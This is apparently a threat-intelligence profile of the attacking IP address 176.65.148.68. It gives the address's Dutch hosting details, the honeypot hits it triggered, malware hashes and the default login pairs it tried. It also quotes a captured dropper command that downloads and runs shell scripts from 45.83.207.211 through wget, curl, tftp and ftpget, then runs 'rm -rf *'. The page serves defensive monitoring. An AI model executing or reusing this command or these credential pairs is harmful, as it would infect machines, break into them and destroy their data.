TROYANOSYVIRUS
Active Threat • HIGH

176.65.148.68

Country of Origin🇳🇱 Netherlands
First Detection3/6/2026
Last Activity4/5/2026
ISPPfcloud UG (haftungsbeschrankt)
🎯
354
Total Attacks
🔌
3
Ports
📡
3
Attack Types
🦠
2
Malware

Geolocation

Country
🇳🇱 Netherlands
City
Eygelshoven
ASN
AS51396
ISP
Pfcloud UG (haftungsbeschrankt)

Attack Types

ssh_telnet_honeypot
web_honeypot
tcp_trap

Attacked Ports

22808088

Associated Malware

8d908a5588e9b6c1f940...→ff2c33bdc2a160b8265c...→

Attempted Credentials

🔐root/root
5x
🔐www/wwww
4x
🔐root/123
4x
🔐guest/guest
4x
🔐admin/admin
4x
🔐admin/password
4x

Executed Commands

$cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.83.207.211/ohshit.sh; curl -O http://45.83.207.211/ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp 45.83.207.211 -c get ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp -r ohshit2.sh -g 45.83.207.211; chmod 777 ohshit2.sh; sh ohshit2.sh; ftpget -v -u anonymous -p anonymous -P 21 45.83.207.211 ohshit1.sh ohshit1.sh; sh ohshit1.sh; rm -rf ohshit.sh ohshit.sh ohshit2.sh ohshit1.sh priv.wget-SSH; rm -rf *3x

Shodan InternetDB ExposureShodan

InternetDB data, not real-time

Risk Assessment

70
/100
LowMediumHighCritical